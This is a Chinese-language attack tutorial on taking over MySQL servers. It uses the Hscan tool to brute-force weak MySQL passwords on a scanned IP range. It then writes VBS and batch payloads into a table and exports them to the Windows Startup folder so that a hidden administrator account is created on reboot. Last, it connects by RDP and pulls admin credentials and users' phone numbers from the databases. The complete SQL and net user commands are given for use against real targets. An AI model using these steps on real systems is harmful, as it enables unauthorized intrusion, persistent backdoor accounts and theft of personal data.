(1)了解MySQL數據庫服務器
(2)利用Hscan工具軟件來破解MySQL口令
(3)通過MySQL來提升權限的一種方法
MySQL作為一款免費數據庫,如今在網絡上已被廣泛使用,MySQL數據庫在攻擊難度高於MSSQL數據庫,由於在MySQL數據庫中不能執行命令。通過研究表明可以有三種思路來對MySQL進行攻擊,攻擊的前提條件是已經獲得了MySQL的用戶名和密碼。
(1)創建表,並在表中插入vbs腳本,通過導出表命令將vbs腳本導出到程序啟動中,當計算機重啟時便會執行vbs腳本。
(2)查看數據庫表中的內容,目前使用MySQL數據庫的服務器一般跟Web服務器結合緊密,通過查看MySQL數據庫中的有關用戶以及密碼信息的表,特別是擁有管理員的表,然後再結合Webshell等實施控制。
(3)利用MySQL應用程序漏洞來進行攻擊,查看MySQL的版本並利用MySQL溢出等程序對服務器進行溢出攻擊。
本案例中主要介紹第一種和第二種情況,其它情況讀者可以自己去嘗試。
1 設置Hscan
設置掃描IP起始地址和結束地址,然後在掃描模塊中選擇“MySQL weak”,如圖1所示,設置完畢後,在“menu”中選擇“start”開始掃描MySQL弱口令。
圖1設置MySQL掃描參數
2. 查看掃描結果
掃描結束後,在Hscan左下方區域會顯示詳細的掃描結果,如圖2所示。
圖2MySQL掃描結果
3. 連接數據庫並查看數據庫服務器中的數據庫
左鍵單擊選擇一條掃描記錄,然後單擊“connect”命令連接MySQL數據庫。在MySQL數據庫中,所有的命令都是在DOS提示符下。連接成功後會出現MySQL的提示符,然後再其中輸入“show databases;”命令查看數據庫服務器中的數據庫,如圖3所示。
圖3 連接並查看MySQL數據庫服務器中的數據庫
&說明
(1)MySQL數據庫開放的端口是3306端口,如果不使用Hscan軟件來直接進行連接可以使用MySQL數據庫連接命令來執行連接。
(2)在MySQL中執行命令時需要在每一個語句後面加上“;”才能使命令運行成功。
(3)在MySQL中有一些常用的命令,“show databases;”命令是查看數據庫服務器中的數據庫,“show tables;”命令是查看當前數據庫中的表,“use databasename;”使用數據庫名稱為“databasename”的數據庫為當前數據庫。
(4)在對被入侵服務器的MySQL發動攻擊前,先掃描被入侵服務器的端口開放情況,便於後期控制,一般選擇開放23、 4899、3389端口的服務器。
4 創建表並插入vbs腳本到表中
依次使用以下命令:
show databases ;
use test;
show tables;
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnet ASPnettest/add"",0)") ;
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators ASPnet /add"",0) " );
select * from a;
完成後如圖4所示。
圖4 創建表和插入vbs腳本到表中
5. 導出vbs腳本到啟動
使用以下命令將剛才在a表中創建的vbs腳本導出到啟動選項中。
select * from a into outfile "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\a.vbs";
導入成功後,系統重新啟動時會自動添加密碼為“1”且用戶名稱為“1”的用戶到管理員組中。在實際使用過程中該腳本成功執行的幾率比較低,有時候會出現不能導出的錯誤,如圖5所示。
圖5 導出腳本錯誤
推薦使用以下腳本:
show databases ;
use test;
show tables;
create table b (cmd text);
insert into b values ("net user ASPnet 123545345!* /add");
insert into b values ("net localgroup administrators ASPnet /add");
insert into b values ("del b.bat");
select * from b into outfile "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\b.bat";
該腳本執行後雖然會閃現DOS窗口,如果有權限導入到啟動選項中,則一定會執行成功,在虛擬機中通過MySQL連接器連接並執行以上命令後,在 “C:\Documents and Settings\All Users\「開始」菜單\程序\啟動”目錄中會有剛才導出的b.bat腳本文件,如圖6所示。
圖 6導出bat腳本到啟動選項
&說明
在不同的操作系統中“C:\Documents and Settings\All Users\「開始」菜單\程序\啟動”目錄文件名稱可能會不同,這個時候就要將其目錄換成相應的目錄名稱即可。例如如果是英文版本操作系統則其插入的代碼為:
select * from b into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\b.bat";
6 等待重啟和實施控制
如果該計算機開放了3389端口,則可以直接進行連接;如果將b.bat換成其它bat命令,則可以執行其它命令來實施控制。
&說明
(1)擁有MySQL的用戶名稱和口令後,可以通過查看數據庫中的信息來對MySQL數據庫服務器實施控制。在本例中通過查看數據庫、表以及表中的內容獲取了管理員的密碼和名稱,如圖7所示。
圖7查看表中信息
(2)在MySQL數據庫中一般會存在多個數據庫,通過“show databases; ”、“show tablesname;”以及“select * from tablesname;”等命令獲取表中具體的內容,而通過查看其中的內容來進行Web服務器域名的信息的定位以及一些網站管理員的密碼和用戶名稱,在本例中通過查看其它的數據庫,還獲取了大量的用戶信息,其中包含了管理員的手機等信息,如圖8所示
圖8 獲取額外信息
小結
本案例通過Hscan掃描MySQL口令,掃描出口令以後借助Hscan的MySQL連接功能直接連接MySQL,通過創建表,將vbs腳本插入到表中,然後再導出到系統的啟動目錄下,系統重新啟動以後,會自動添加用戶,進而通過遠程終端3389連接該MySQL服務器所在計算機,成功實施控制。